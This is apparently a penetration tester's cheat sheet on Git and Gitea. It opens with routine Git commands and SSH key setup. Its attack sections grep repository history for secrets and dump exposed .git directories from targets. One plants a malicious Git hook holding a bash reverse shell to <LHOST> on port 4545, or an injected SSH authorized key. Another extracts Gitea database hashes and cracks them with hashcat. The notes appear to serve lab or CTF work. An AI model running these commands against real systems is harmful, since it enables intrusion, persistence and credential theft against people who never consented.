14Other
Git
00 Basic Usage
bash65 lines
## ------------------| Initialize Repository and Upload to GitHubgit init # Initialize a new Git repository.git add . # Stage all files for commit.git commit -m "message" # Commit changes with a message.git remote add origin <URL> # Add a remote repository (replace <URL>).git branch -M main # Set the default branch to main.git push -u origin main # Push to the main branch for the first time.
## ------------------| Viewing Commit Historygit log -p # Show commit history with diffs.git show <HASH> # Show details of a specific commit.git reflog # Show a history of all changes to the HEAD.git reset --hard # Reset the working directory to the latest commit, discarding all local changes.git diff <HASH> # Show changes introduced by a specific commit.
## ------------------| Basic Git Commandsgit clone <repo> # Clone a repositorygit add <file> # Stage a file for commit ( use . for add all files)git status # Show the status of the working directorygit log # View commit historygit diff # Show unstaged changes
## ------------------| Branching & Merginggit branch # List branchesgit branch <name> # Create a new branchgit checkout <branch> # Switch to a branchgit merge <branch> # Merge a branch into the current branchgit branch -d <branch> # Delete a branchgit stash # Save changes for latergit stash pop # Apply stashed changes
## ------------------| Remote Repositoriesgit remote -v # Show remote repositoriesgit remote add <name> <URL> # Add a new remote repositorygit push # Push changes to the remote repositorygit pull # Fetch and merge changes from the remote repositorygit fetch # Fetch changes without merginggit remote remove <name> # Remove a remote repository
## ------------------| Inspecting & Undoinggit reset --hard <commit> # Reset to a specific commitgit revert <commit> # Create a new commit to undo a previous commitgit clean -f # Remove untracked filesgit reflog # Show the history of branch updatesgit checkout <commit> # Switch to a specific commitgit rm <file> # Remove a file from the repository
## ------------------| Advanced Commandsgit log --oneline # Short commit historygit diff --staged # Show staged changesgit cherry-pick <commit> # Apply a specific commitgit bisect start # Start a binary search to find a buggit rebase <branch> # Reapply commits on top of another basegit blame <file> # Show who changed each line of a filegit tag <name> # Create a tag for a specific commitgit archive <branch> # Create an archive of the repositorygit push --set-upstream origin <BranchName> # Set the upstream branch and push changes.
## ------------------| Miscellaneousgit gc # Cleanup unnecessary filesgit fsck # Check for repository corruptiongit shortlog # Summarize git loggit describe # Describe a commit using tagsgit show <commit> # Show details about a specific commitgit diff-tree <commit> # Show changes in a commit- Github SSH Key
bash16 lines
eval "$(ssh-agent -s)" # Start the SSH agentgit config --global user.name "h4rithd" # Configure Git usernamessh-add ~/.ssh/gitHub # [Linux] Add SSH private key to the agent# ssh-add --apple-use-keychain ~/.ssh/gitHub # Mac only
### Add SSH configuration for GitHub (optional)# ~/.ssh/config fileHost github.com AddKeysToAgent yes Port 443 Hostname ssh.github.com IdentityFile ~/.ssh/gitHub
# Visit https://github.com/settings/keys and add the gitHub.pub file as a new SSH key.- Enumerations
bash11 lines
## ------------------| Git secrets finders## https://github.com/techjacker/repo-security-scannergit log -p | scanrepo
## ------------------| Find sensitive information in gitgit grep -Iin --color=always -E "(password|passwd|pwd|token|secret|key|apikey|api_key|private_key|authorization|auth_token)" $(git rev-list --all) 2>/dev/nullgit grep -Iin --color=always -E "(password|passwd|pwd)" $(git rev-list --all) 2>/dev/null
## ------------------| Show changes between staged files and the last commitgit statusgit diff --cached <file>- Reconstruct Source Code
bash7 lines
## ------------------| Manual methodwget -r -np https://<URL>/.gitgit --git-dir=<path_to_bare_repo.git> archive HEAD | tar -x -C <destination_dir>
## ------------------| git-dumperpip install git-dumpergit-dumper http://target.tld/.git/ dest-dir- Git Hooks
bash20 lines
## ------------------| sudo git pull## put shell invi .git/hooks/post-mergechmod +x .git/hooks/post-merge
## ------------------| Genarate SSH Keyssh-keygen -t ed25519 -f mykeycat mykey.pub
## ------------------| Create hook file (.git/hooks/post-commit)#!/bin/sh
bash -c 'bash -i >& /dev/tcp/<LHOST>/4545 0>&1'## or#mkdir -p /home/<USER>/.ssh/#printf "\n<mykey.pub>\n" >> /home/<USER>/.ssh/authorized_keys#chmod 600 /home/<USER>/authorized_key
## ------------------| Set permissionchmod +x post-commitbash8 lines
## ------------------| Finderpython3 gitfinder.py -i urllist.txt
## ------------------| Dumper./gitdumper.sh http://target.tld/.git/ dest-dir
## ------------------| Extractor./extractor.sh source-dir destination-dir03 Other
03.1 Gitea
bash16 lines
## ------------------| Config path/gitea.db/conf/app.ini/home/.gitconfig/jwt/private.pem/custom/conf/app.ini/data/gitea/app.ini/data/gitea/gitea.db/data/gitea/conf/app.ini/data/gitea/home/.gitconfig/data/gitea/jwt/private.pem
## ------------------| Crack Passwordwget https://gist.githubusercontent.com/h4rithd/0c5da36a0274904cafb84871cf14e271/raw/f109d178edbe756f15060244d735181278c9b57e/gitea2hashcat.pypython3 gitea2hashcat.py gitea.db > hashes.txthashcat hashes.txt /usr/share/wordlists/rockyou.txt --user- Gitea APIs
bash56 lines
## ------------------| List Reposcurl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://<IP>:3000/api/v1/user/repos" | jq -r '.[].full_name'
## ------------------| Download Repo (archive)curl -L -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://<IP>:3000/api/v1/repos/{owner}/{repo}/archive/main.zip" -o repo.zip
## ------------------| List All Repos (including private accessible)curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://<IP>:3000/api/v1/repos/search?limit=50"
## ------------------| Get Single Repo Detailscurl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://<IP>:3000/api/v1/repos/{owner}/{repo}"
## ------------------| List Org Repos (sometimes “hidden” to normal users)curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://<IP>:3000/api/v1/orgs/{org}/repos"
## ------------------| List Repo Contents (files)curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://<IP>:3000/api/v1/repos/{owner}/{repo}/contents/"
## ------------------| Download File from Repocurl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://<IP>:3000/api/v1/repos/{owner}/{repo}/contents/{path}" | jq -r '.content' | base64 -d
## ------------------| Upload File to Repo (create file)curl -X POST -s -H "Authorization: token $GITEA_ACCESS_TOKEN" -H "Content-Type: application/json" -d '{"content":"BASE64_ENCODED_CONTENT","message":"add file"}' "http://<IP>:3000/api/v1/repos/{owner}/{repo}/contents/{path}"
## ------------------| Edit/Update File in Repocurl -X PUT -s -H "Authorization: token $GITEA_ACCESS_TOKEN" -H "Content-Type: application/json" -d '{"content":"BASE64_NEW_CONTENT","message":"update file","sha":"FILE_SHA"}' "http://<IP>:3000/api/v1/repos/{owner}/{repo}/contents/{path}"
## ------------------| Delete File from Repocurl -X DELETE -s -H "Authorization: token $GITEA_ACCESS_TOKEN" -H "Content-Type: application/json" -d '{"message":"delete file","sha":"FILE_SHA"}' "http://<IP>:3000/api/v1/repos/{owner}/{repo}/contents/{path}"
## ------------------| List Commitscurl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://<IP>:3000/api/v1/repos/{owner}/{repo}/commits"
## ------------------| List Branchescurl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://<IP>:3000/api/v1/repos/{owner}/{repo}/branches"
## ------------------| Create Repocurl -X POST -s -H "Authorization: token $GITEA_ACCESS_TOKEN" -H "Content-Type: application/json" -d '{"name":"test-repo","private":true}' "http://<IP>:3000/api/v1/user/repos"
## ------------------| Delete Repocurl -X DELETE -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://<IP>:3000/api/v1/repos/{owner}/{repo}"
## ------------------| Fork Repocurl -X POST -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://<IP>:3000/api/v1/repos/{owner}/{repo}/forks"
## ------------------| List Issuescurl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://<IP>:3000/api/v1/repos/{owner}/{repo}/issues"
## ------------------| List Pull Requestscurl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://<IP>:3000/api/v1/repos/{owner}/{repo}/pulls"
## ------------------| Current User Infocurl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://<IP>:3000/api/v1/user"
## ------------------| List User Orgscurl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://<IP>:3000/api/v1/user/orgs"